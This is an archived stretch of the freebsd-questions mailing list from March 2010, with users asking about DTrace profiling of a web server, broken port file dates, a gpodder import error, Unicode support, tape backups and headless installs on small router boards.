(Postfix) with ESMTP id 1BFC11065670 for ; Fri, 12 Mar 2010 15:49:00 +0000 (UTC) (envelope-from bsam@ipt.ru) Received: from services.ipt.ru (services.ipt.ru [194.62.233.110]) by mx1.freebsd.org (Postfix) with ESMTP id CB2378FC0C for ; Fri, 12 Mar 2010 15:48:59 +0000 (UTC) Received: from bb.ipt.ru ([194.62.233.89]) by services.ipt.ru with esmtp (Exim 4.54 (FreeBSD)) id 1Nq76g-000HIs-5A for freebsd-questions@FreeBSD.org; Fri, 12 Mar 2010 18:48:58 +0300 From: Boris Samorodov To: freebsd-questions@FreeBSD.org Date: Fri, 12 Mar 2010 18:49:08 +0300 Message-ID: <42137291@bb.ipt.ru> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Subject: dtrace and web server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 15:49:00 -0000 Hello List, I try to locate (potential) bottlenecks at a web server: ----- % uname -a FreeBSD bbserver.ipt.ru 8.0-STABLE FreeBSD 8.0-STABLE #3 r203959: Sun Feb 21 11:53:57 MSK 2010 root@bbserver.ipt.ru:/z/obj/z/src/sys/BBSERVER amd64 % top -jd1 | head -20 last pid: 47907; load averages: 2.30, 1.88, 1.90 up 1+17:44:36 11:31:05 177 processes: 4 running, 172 sleeping, 1 zombie Mem: 916M Active, 558M Inact, 2899M Wired, 2656K Cache, 31M Buf, 3502M Free Swap: 4096M Total, 4096M Free PID JID USERNAME THR PRI NICE SIZE RES STATE C TIME WCPU COMMAND 22148 4 88 25 44 0 735M 530M ucond 3 23:05 7.81% mysqld 47705 4 www 1 54 0 223M 58476K select 2 0:07 7.76% httpd 47845 4 www 1 51 0 225M 48800K accept 1 0:02 7.47% httpd 47857 4 www 1 53 0 221M 44308K select 3 0:01 7.47% httpd 47797 4 www 1 51 0 225M 56276K accept 1 0:03 6.59% httpd 47843 4 www 1 50 0 221M 43580K select 3 0:01 6.30% httpd 47873 4 www 1 51 0 233M 52424K CPU2 2 0:01 5.96% httpd 47633 4 www 1 49 0 221M 56476K select 3 0:08 5.76% httpd 47878 4 www 1 47 0 221M 43480K accept 2 0:01 4.30% httpd 47708 4 www 1 52 0 221M 56756K accept 2 0:06 4.20% httpd 47880 4 www 1 52 0 223M 39516K accept 2 0:01 4.05% httpd 47875 4 www 1 49 0 235M 45080K CPU3 3 0:00 4.05% httpd ----- Let's use dtrace to understand what's going on within 10 seconds interval and normalize to 1 second: ----- % cat top-10-count-periodic.d #pragma D option quiet BEGIN { last = timestamp; } syscall:::entry { @func[execname] = count(); } tick-10sec { trunc(@func, 10); normalize(@func, (timestamp - last) / 1000000000); printa(@func); clear(@func); last = timestamp; } ----- The result is here: ftp://ftp.bsam.ru/pub/tmp/top-10-count-periodic.1.log.txt OK, seems that we are mostly interested at mysqld and httpd processes (well, not a surprise). The following script is intended to test and quantize mysqld process: ----- % cat quant.d syscall:::entry / execname == "mysqld" / { self->ts = timestamp; } syscall:::return / self->ts && execname == "mysqld" / { @time[probefunc] = quantize(timestamp - self->ts); self->ts = 0; } ----- The result: ftp://ftp.bsam.ru/pub/tmp/quant.mysqld.1.log.txt The same D script but for httpd process: ftp://ftp.bsam.ru/pub/tmp/quant.httpd.1.log.txt And now can you advise me what to do next? What should I pay attention to? Thanks! -- WBR, Boris Samorodov (bsam) Research Engineer, http://www.ipt.ru Telephone & Internet SP FreeBSD Committer, http://www.FreeBSD.org The Power To Serve From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 16:21:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A8429106564A for ; Fri, 12 Mar 2010 16:21:09 +0000 (UTC) (envelope-from richard.delaurell@gmail.com) Received: from mail-ew0-f228.google.com (mail-ew0-f228.google.com [209.85.219.228]) by mx1.freebsd.org (Postfix) with ESMTP id 3AEC18FC08 for ; Fri, 12 Mar 2010 16:21:08 +0000 (UTC) Received: by ewy28 with SMTP id 28so173795ewy.13 for ; Fri, 12 Mar 2010 08:21:08 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=2GycdnIYxtPZV2UbK8+l/RAovOpb81E6MwsXaAZFjoA=; b=lXmHbBaPHZQLNQLw9OzlE7F16tD7cn4YMBvRC1pZ4UWv8rLGRJmEwa8lOCbgosL8qk jdbzuOuyk/MZHcvnXLf397jiNI4kT+zPcMVJXst+onRyGoQooL+cXS+uk/BYiMGY6SF7 kHXYRqbrwg6/pROkj7gvUcJZiqRIESI4BnmdU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=Gqy2pJT1zeg1G+dR7yGlCWWQ6XYZlVTC4HD/jpLJguOq74XNZnurh9kGvUa756WEeq P6+MwiY6CmybWkH8kGnihTjq1TLgSBzR8w+Y0jaeEptPyeSkCy9dlBVml0IcSO3K5/uc ieKgIuO/BulthjQL9Mw0PncwAKH16p1rIOwdI= MIME-Version: 1.0 Received: by 10.216.87.68 with SMTP id x46mr991378wee.145.1268410868073; Fri, 12 Mar 2010 08:21:08 -0800 (PST) In-Reply-To: <6201873e1003111146u488a1353r92342e9fd870fb87@mail.gmail.com> References: <4324dbec1003110905i3267df08hfc2d8a790c797a45@mail.gmail.com> <6201873e1003111146u488a1353r92342e9fd870fb87@mail.gmail.com> Date: Fri, 12 Mar 2010 10:21:07 -0600 Message-ID: <4324dbec1003120821q5911b63fkf21ed51a8e4af4aa@mail.gmail.com> From: Richard DeLaurell To: Adam Vande More Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: "mail.list freebsd-questions" Subject: Re: problems w/ touching all files? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 16:21:09 -0000 On Thu, Mar 11, 2010 at 1:46 PM, Adam Vande More wrote: > > > On Thu, Mar 11, 2010 at 11:05 AM, Richard DeLaurell < > richard.delaurell@gmail.com> wrote: > >> I made a big mistake the upshot of which is that many of my files >> (including >> many port/makefiles) have the wrong date. >> > > maybe try a portnsnap fetch extract, touch -m should help on > /usr/ports/distfiles/ > > Wouldn't the portsnap fetch extract reset the modified dates without a touch? But I think your way is probably a good idea nonetheless. Thanks for the suggestion. Richard From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 16:33:04 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0BC48106566C for ; Fri, 12 Mar 2010 16:33:04 +0000 (UTC) (envelope-from richard.delaurell@gmail.com) Received: from mail-wy0-f182.google.com (mail-wy0-f182.google.com [74.125.82.182]) by mx1.freebsd.org (Postfix) with ESMTP id 941E48FC18 for ; Fri, 12 Mar 2010 16:33:03 +0000 (UTC) Received: by wyb33 with SMTP id 33so673576wyb.13 for ; Fri, 12 Mar 2010 08:33:02 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=Fqko6BPcn/0v99oBRL8PInUiOWuSlxuLs0LYBlDRIhQ=; b=iINHKlWl9RoXSS6HvTZF5EEY15qHzuUu67opZv7vlgE9VvlC7MrTbDvbPJv9UYViL2 PAELTbOxMr+HwhpEz7DsPxiQx74qxufcNOg29pl9A4tv0YPR3qu8jInFlupWcW/4NBji kOO7CdMgfFdBMAz8GPiFTmME9I4+wIr+ztjwQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=SpVIq3toKZTbTmqTg3AER770sJP0v6f3p0TMuiU6zHP2YWSDZ3SC4ZP09vvB1tzlzJ Vn/rLkHBZR+sWTGEfl3nusug3GblzPF7CHpBDA2YW8GIXAHHrA9eThNH9YCVGOkancLg Jsdd4+F2h0TlnoFwXP2p4H1bsoOD9yY/SzzkI= MIME-Version: 1.0 Received: by 10.216.90.17 with SMTP id d17mr780290wef.175.1268411582430; Fri, 12 Mar 2010 08:33:02 -0800 (PST) In-Reply-To: References: <4324dbec1003110905i3267df08hfc2d8a790c797a45@mail.gmail.com> Date: Fri, 12 Mar 2010 10:33:02 -0600 Message-ID: <4324dbec1003120833h5fca200by3d3ffa61d8cc2612@mail.gmail.com> From: Richard DeLaurell To: Warren Block Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: "mail.list freebsd-questions" Subject: Re: problems w/ touching all files? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 16:33:04 -0000 On Thu, Mar 11, 2010 at 12:37 PM, Warren Block wrote: > On Thu, 11 Mar 2010, Richard DeLaurell wrote: > > I made a big mistake the upshot of which is that many of my files >> (including >> many port/makefiles) have the wrong date. >> > > Which date, where? Modification date? What is the wrong value they have > now? Modification date. It is correct except the year is '11 rather than '10. As a result, I get a lot of failures when trying to install from ports. > I have been unable to recreate the error today for some reason. I installed a few small ports (xminesweeper, e.g.), but those went in smoothly. I haven't tested it, but it may be that the error occurs only when upgrading a port; make complains that the "new" port is older than the existing. I will try a few more installs to see which throw the error and try to relate same on the list for future interest. I think it might be best just to wait until the next "backup, upgrade, restore" cycle, like maybe when 8.1 or 8.2 comes out to fix it more permanently. In any event, thanks for the help. Richard From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 16:58:07 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 65CB9106566B for ; Fri, 12 Mar 2010 16:58:07 +0000 (UTC) (envelope-from pit@joseph-a-nagy-jr.us) Received: from outbound-mail-01.bluehost.com (outbound-mail-01.bluehost.com [69.89.21.11]) by mx1.freebsd.org (Postfix) with SMTP id 374C68FC16 for ; Fri, 12 Mar 2010 16:58:06 +0000 (UTC) Received: (qmail 3921 invoked by uid 0); 12 Mar 2010 16:58:06 -0000 Received: from unknown (HELO box264.bluehost.com) (69.89.31.64) by cpoproxy1.bluehost.com with SMTP; 12 Mar 2010 16:58:06 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=joseph-a-nagy-jr.us; h=Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:X-Enigmail-Version:Content-Type:X-Identified-User; b=ceoIH8hx4AcA+F5VycJnYi5ptWJ2uOcvirxduiaP3TltyaVwnKFNwQePNapLuu9kz6H4ZlKOBpxTCrauRzc4AVogeTnGStN96Hh5PTblEGM61BTI2fgR8sVnJIdwlqG5; Received: from [206.74.86.236] (helo=[192.168.1.102]) by box264.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1Nq8BZ-00085D-VW for freebsd-questions@freebsd.org; Fri, 12 Mar 2010 09:58:06 -0700 Message-ID: <4B9A7296.10604@joseph-a-nagy-jr.us> Date: Fri, 12 Mar 2010 10:57:58 -0600 From: Programmer In Training User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.7) Gecko/20100203 Thunderbird/3.0.1 MIME-Version: 1.0 To: FreeBSD Questions X-Enigmail-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig639641C582A21F99274200C8" X-Identified-User: {2250:box264.bluehost.com:ameliora:joseph-a-nagy-jr.us} {sentby:smtp auth 206.74.86.236 authed with pit@joseph-a-nagy-jr.us} Subject: gpodder fails after install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 16:58:07 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig639641C582A21F99274200C8 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable I just freshly installed gpodder from ports (which I updated on Tuesday), but I get the following errors thrown at me when I try to start it: gpodder Traceback (most recent call last): File "/usr/local/bin/gpodder", line 162, in from gpodder import gui File "/usr/local/lib/python2.6/site-packages/gpodder/gui.py", line 71, in from gpodder import my File "/usr/local/lib/python2.6/site-packages/gpodder/my.py", line 45, in from mygpoclient import api File "/usr/local/lib/python2.6/site-packages/mygpoclient/api.py", line 21, in from mygpoclient import simple File "/usr/local/lib/python2.6/site-packages/mygpoclient/simple.py", line 21, in from mygpoclient import json File "/usr/local/lib/python2.6/site-packages/mygpoclient/json.py", line 20, in import simplejson as json ImportError: No module named simplejson Everything it depended on (including mplayer support and video support) compiled and installed without any apparent error (as did gpodder). That's with gpodder run as a regular user. Trying to run it as the root user throws out the following: gpodder Traceback (most recent call last): File "/usr/local/bin/gpodder", line 138, in session_bus =3D dbus.SessionBus() File "/usr/local/lib/python2.6/site-packages/dbus/_dbus.py", line 219, in __new__ mainloop=3Dmainloop) File "/usr/local/lib/python2.6/site-packages/dbus/_dbus.py", line 108, in __new__ bus =3D BusConnection.__new__(subclass, bus_type, mainloop=3Dmainloop= ) File "/usr/local/lib/python2.6/site-packages/dbus/bus.py", line 125, in __new__ bus =3D cls._new_for_bus(address_or_type, mainloop=3Dmainloop) dbus.exceptions.DBusException: org.freedesktop.DBus.Error.Spawn.ExecFailed: /usr/local/bin/dbus-launch terminated abnormally with the following error: Autolaunch error: X11 initialization failed. Ideas? --=20 Yours In Christ, PIT Emails are not formal business letters, whatever businesses may want. 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If I'm posting to a list it is because I am subscrib= ed. --------------enig639641C582A21F99274200C8 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (FreeBSD) iQEcBAEBAgAGBQJLmnKcAAoJEENZQ8DH7rW0HEAH/R82Zturrlb0c8jLc15LfX3q hvHMg6XQO/AFeekEB6qEqn4Poub2JVkmne7h31MVQmv+YawJaNP8QqcRlUWlLLrX mHG1aCkwm+VK3AHRZBhaxAVRN1/A2s2VMQIgKfC/dnyeK0w1kZOZCt6b5PJ2fLyJ yyoQOQiIhMRxBfF3QohlFVXl1OSbWPNq7jm3id9wojzLhwPIZNjrJ0ZhABhq80II dpj7FRMb0wIGhskFYkfJxbjfB7aPNGM3yh1CQOZLamlm9C6wSTLpF0AKF1mVRr5f h1KnsDLCDBfdbMsC2A6AedEfYY1sZHkQyCQTzLWB/FWgojK34yC/WKFHhFu7KHg= =JVXe -----END PGP SIGNATURE----- --------------enig639641C582A21F99274200C8-- From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 17:54:58 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 763C21065678 for ; Fri, 12 Mar 2010 17:54:58 +0000 (UTC) (envelope-from elmstel@gmail.com) Received: from mail-ww0-f54.google.com (mail-ww0-f54.google.com [74.125.82.54]) by mx1.freebsd.org (Postfix) with ESMTP id C74958FC1A for ; Fri, 12 Mar 2010 17:54:57 +0000 (UTC) Received: by wwb24 with SMTP id 24so394213wwb.13 for ; Fri, 12 Mar 2010 09:54:54 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:subject:references:in-reply-to :content-type:content-transfer-encoding; bh=xYOp98gT2wWP1/t9AxaMfyTreclMRDKGXqxc5iFcDrY=; b=Nd+OvNxTRnF4h5e0Ug1ZKNKOIVJhenBGtS+ONpA43xyfGXmx9w9TABDiQUiqdzYDBD /S/JaU4LhWR1lNUuVyyT+CP7UTCRlpGWn8nWNZW87IFSs3z4yv8pOjItuJAFVwD5j5Tp sg2pD+OA58AN8lvLpw/PPvb4wb5g/VciCf8qk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; b=VC63YSlkMFEsbMYBglAbMfPjtNj1cd8YOwnYNPeP7VfGus0PoBtBPnxX5Y2IdEvQXm 8fVfcqYqc3ylSa3Ue05lXc1HaYmT9spG1IbTQHFKPJvm1qD5D8BUuyNNi9sM7QzTWSHe 6cdLGSfKZeZnkOVU6KCC5MTpEhy9VDxhhPgBA= Received: by 10.216.86.67 with SMTP id v45mr771102wee.70.1268416493935; Fri, 12 Mar 2010 09:54:53 -0800 (PST) Received: from [10.0.0.7] (91-114-168-100.adsl.highway.telekom.at [91.114.168.100]) by mx.google.com with ESMTPS id g11sm5960845gve.18.2010.03.12.09.54.52 (version=SSLv3 cipher=RC4-MD5); Fri, 12 Mar 2010 09:54:53 -0800 (PST) Message-ID: <4B9A7FEB.5080308@gmail.com> Date: Fri, 12 Mar 2010 18:54:51 +0100 From: Elmar Stellnberger User-Agent: Thunderbird 2.0.0.23 (X11/20090817) MIME-Version: 1.0 To: freebsd-questions@freebsd.org, ivoras@freebsd.org References: <4B98865B.5080300@gmail.com> In-Reply-To: <4B98865B.5080300@gmail.com> Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Cc: Subject: Re: Full Unicode Support for FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 17:54:58 -0000 I am looking forward to engage in FreeBSD by implementing ext3-support and a suspend to disk facility. If there would be any interest I also ported my checkroot facility (http://www.elstel.com/checkroot/). However all these little configuration issues like UTF-8 support are out of the scope what I can do because I am not a packager. I would be glad if the responsible packagers or anyone else was willing to engage in this. At least I will have to think about my engagement in terms of community support for precious issues like this one. > Yes! Good of you to say so! Your code and other patches will be > integrated as soon as you send them. > > > Isn`t it time for FreeBSD to fully support Unicode/UTF-8 by now? > > It is considered to be standard charset by now. XML uses it by default. > > If you are working with texts in different languages there is no > > alternative to UTF-8. > > If you chat with a Linux machine you can easily run into charset > > troubles if you are > > still using the old iso-8859-1. > > > By now it is no problem to activate UTF-8 for your console. > > However a comprehensive Unicode support would require much more: > > i.e. configuring all user packages like KDE for Unicode support and > > asserting that also file names (f.i. from ext2 partitions) are interpreted > > correctly. > > > From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 18:10:57 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1D1E9106564A for ; Fri, 12 Mar 2010 18:10:57 +0000 (UTC) (envelope-from svein@stillbilde.net) Received: from mail.stillbilde.net (unknown [IPv6:2002:51af:3dc3:0:20c:29ff:fece:79f3]) by mx1.freebsd.org (Postfix) with ESMTP id 9FFCE8FC1F for ; Fri, 12 Mar 2010 18:10:56 +0000 (UTC) Received: from [IPv6:2002:51af:3dc3:0:79cc:a126:7e59:782f] (unknown [IPv6:2002:51af:3dc3:0:79cc:a126:7e59:782f]) (Authenticated sender: svein) by mail.stillbilde.net (Familien Skogens mail) with ESMTPSA id 6B5894B; Fri, 12 Mar 2010 19:11:14 +0100 (CET) Message-ID: <4B9A83BF.6000202@stillbilde.net> Date: Fri, 12 Mar 2010 19:11:11 +0100 From: Svein Skogen User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100227 Lightning/1.0b1 Thunderbird/3.0.3 MIME-Version: 1.0 To: dg17@penx.com References: <4B9A4D9D.6040805@stillbilde.net> <1268410035.13552.162.camel@btw.pki2.com> In-Reply-To: <1268410035.13552.162.camel@btw.pki2.com> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Cc: "Questions, Mailing List FreeBSD" Subject: Re: Amanda, FreeBSD8, amtype, hairpulling, etc. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 18:10:57 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 12.03.2010 17:07, Dennis Glatting wrote: > I have had problems with tapes under FreeBSD -- and other operating > systems. :) My suggestion is to make sure you are running a patched > kernel (i.e., RELENG_8) and to make sure there are no interface > problems. Both of these areas have caused me much pain. RELENG_8: Check. Other operating systems: Check. (gives another sort of grief in OpenSolaris, but just as flaky) Works in Windoes: Check (This is the annoying part) //Svein - -- - --------+-------------------+------------------------------- /"\ |Svein Skogen | svein@d80.iso100.no \ / |Solberg Ųstli 9 | PGP Key: 0xE5E76831 X |2020 Skedsmokorset | svein@jernhuset.no / \ |Norway | PGP Key: 0xCE96CE13 | | svein@stillbilde.net ascii | | PGP Key: 0x58CD33B6 ribbon |System Admin | svein-listmail@stillbilde.net Campaign|stillbilde.net | PGP Key: 0x22D494A4 +-------------------+------------------------------- |msn messenger: | Mobile Phone: +47 907 03 575 |svein@jernhuset.no | RIPE handle: SS16503-RIPE - --------+-------------------+------------------------------- If you really are in a hurry, mail me at svein-mobile@stillbilde.net This mailbox goes directly to my cellphone and is checked even when I'm not in front of my computer. - ------------------------------------------------------------ Picture Gallery: https://gallery.stillbilde.net/v/svein/ - ------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuag78ACgkQSBMQn1jNM7YsdACgs+xed2ba7iOpcMyniXxp/giQ +LoAoPswA0Xe3KAMj196acNK4IUFzlV8 =Zode -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 18:26:11 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A8CDB106566B for ; Fri, 12 Mar 2010 18:26:11 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mail-pv0-f182.google.com (mail-pv0-f182.google.com [74.125.83.182]) by mx1.freebsd.org (Postfix) with ESMTP id 7E1868FC1D for ; Fri, 12 Mar 2010 18:26:11 +0000 (UTC) Received: by pvg3 with SMTP id 3so709797pvg.13 for ; Fri, 12 Mar 2010 10:26:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=DMrpyNooADOBoQb09Vh08gYGVEWgJJWCz/GJ7HMK9dU=; b=lwAkcjvi8a0FcEBDGFmSB+x//lATUFdZ5SlJXrMLbs0ghNHwsi32/gNtv2ZojeCXI7 ncwCO4p8fpQcExDsxX8CUveV2EdmWxqDSZOIlLszC9oISVKoeEGoAP7yzmyZ/IJKndSi 3es0s+a5idgozDEHkvXcvohsffAdSDqQFA/G4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=fHTe3DeCEEtVgcvWMNjhI6onsXXUETgg4O4HDw3LfSadZUacLEjJbS+JXWpIGzqcst vhIquEy84+IJMd3DfvApu1bYe+BjEphpBE1FD9fp9red8P6JS85/AsBHK+qjBUJTbLK0 raVpJyvXK+XezULNR0FAm1LjtvdLL1523PTI8= MIME-Version: 1.0 Received: by 10.141.53.15 with SMTP id f15mr548793rvk.119.1268418370918; Fri, 12 Mar 2010 10:26:10 -0800 (PST) In-Reply-To: References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> <44ocivszcb.fsf@be-well.ilk.org> <4B99D335.8010800@markshroyer.com> Date: Fri, 12 Mar 2010 10:26:10 -0800 Message-ID: <560f92641003121026j785eabb2h9d6bcee0753cfeb0@mail.gmail.com> From: Nerius Landys To: "C. P. Ghost" Content-Type: text/plain; charset=ISO-8859-1 Cc: Mark Shroyer , freebsd-questions@freebsd.org Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 18:26:11 -0000 > Yep! Geode-based boxes are great. The ALIX boards are looking like > Soekris gear, which I'm very happy with (of course running FreeBSD): > > http://www.soekris.com/net5501.htm Is there a nice guide that explains how to install FreeBSD onto a headless system (such as one of these small devices) via serial port? I've done this once before but it was long ago, and it was actually an install via floppy disk and CD-ROM combination (IIRC), so that procedure would not apply here (regarding these tiny devices mentioned above). The Handbook contains some explanation regarding serial communication, but I don't believe they really explain _installing_ onto a headless system. Also, in the past, I've had problems installing FreeBSD via CD-ROM drive that was connected as a USB. I know that in the past FreeBSD didn't support booting via USB device, maybe they have fixed that? My last encounter with the USB-boot problem was with my 1U server that didn't have a CD-ROM drive; I was not able to install i386 7.0 onto that. I had to open the 1U case and temporarily hook up an IDE CD-ROM drive. If I remember correctly, trying to boot from a USB CD-ROM would result in getting a TON of garbled text scrolling across the screen. I actually posted about that about 2 years back, and the responses indicated that booting via USB device was not supported. My imagination would tell me that to install FreeBSD onto one of these tiny devices, I would first create an ISO image that would basically use serial communication for everything, then burn that to a CD, then boot via USB CD-ROM drive, while having another computer connected to the serial port of the tiny device (via null modem cable) and using a command-line tool such as ``cu'' from the other computer. I would be very interested into looking into purchasing one of these small devices, but I'm really scared about the FreeBSD install procedure. From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 18:33:48 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C36E51065674 for ; Fri, 12 Mar 2010 18:33:48 +0000 (UTC) (envelope-from cswiger@mac.com) Received: from asmtpout029.mac.com (asmtpout029.mac.com [17.148.16.104]) by mx1.freebsd.org (Postfix) with ESMTP id AED1E8FC1F for ; Fri, 12 Mar 2010 18:33:48 +0000 (UTC) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=us-ascii Received: from cswiger1.apple.com ([17.209.4.71]) by asmtp029.mac.com (Sun Java(tm) System Messaging Server 6.3-8.01 (built Dec 16 2008; 32bit)) with ESMTPSA id <0KZ600L4VM87U670@asmtp029.mac.com> for freebsd-questions@freebsd.org; Fri, 12 Mar 2010 10:33:48 -0800 (PST) X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0 ipscore=0 phishscore=0 bulkscore=0 adultscore=0 classifier=spam adjust=0 reason=mlx engine=5.0.0-0908210000 definitions=main-1003120149 From: Chuck Swiger In-reply-to: <4B9A7FEB.5080308@gmail.com> Date: Fri, 12 Mar 2010 10:33:43 -0800 Message-id: <14F5E195-F42E-4290-AD0B-60ED2AB9D475@mac.com> References: <4B98865B.5080300@gmail.com> <4B9A7FEB.5080308@gmail.com> To: Elmar Stellnberger X-Mailer: Apple Mail (2.1077) Cc: FreeBSD - Subject: Re: Full Unicode Support for FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 18:33:48 -0000 Hi, Elmar-- On Mar 12, 2010, at 9:54 AM, Elmar Stellnberger wrote: > I am looking forward to engage in FreeBSD by implementing ext3-support > and a suspend to disk facility. mount_ext2fs or fusefs ought to work with ext3 filesystems. zzz or "acpiconf -s 4" ought to address the suspend to disk facility, but it depends greatly upon the quality of the BIOS to actually conform with the ACPI spec. > If there would be any interest I also ported my checkroot facility (http://www.elstel.com/checkroot/). How is this different from what's already available: http://www.freebsd.org/doc/handbook/updating-upgrading-freebsdupdate.html ...or via something like tripwire? If you're only doing MD5 and not something like SHA1 or SHA256 (or multiple checksums, better yet), I don't see the point > However all these little configuration issues like UTF-8 support are > out of the scope what I can do because I am not a packager. I'm not sure what you mean by "UTF-8" support. FreeBSD itself does reasonably well, and the quality of third-party ports varies. > I would be glad if the responsible packagers or anyone else was willing to engage > in this. At least I will have to think about my engagement in terms of > community support for precious issues like this one. It's unclear what you mean by this. At the basic level, things happen by people writing changes and submitting patches. There is no shortage of opinions which are sadly lacking code. :-) Regards, -- -Chuck From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 18:42:51 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org 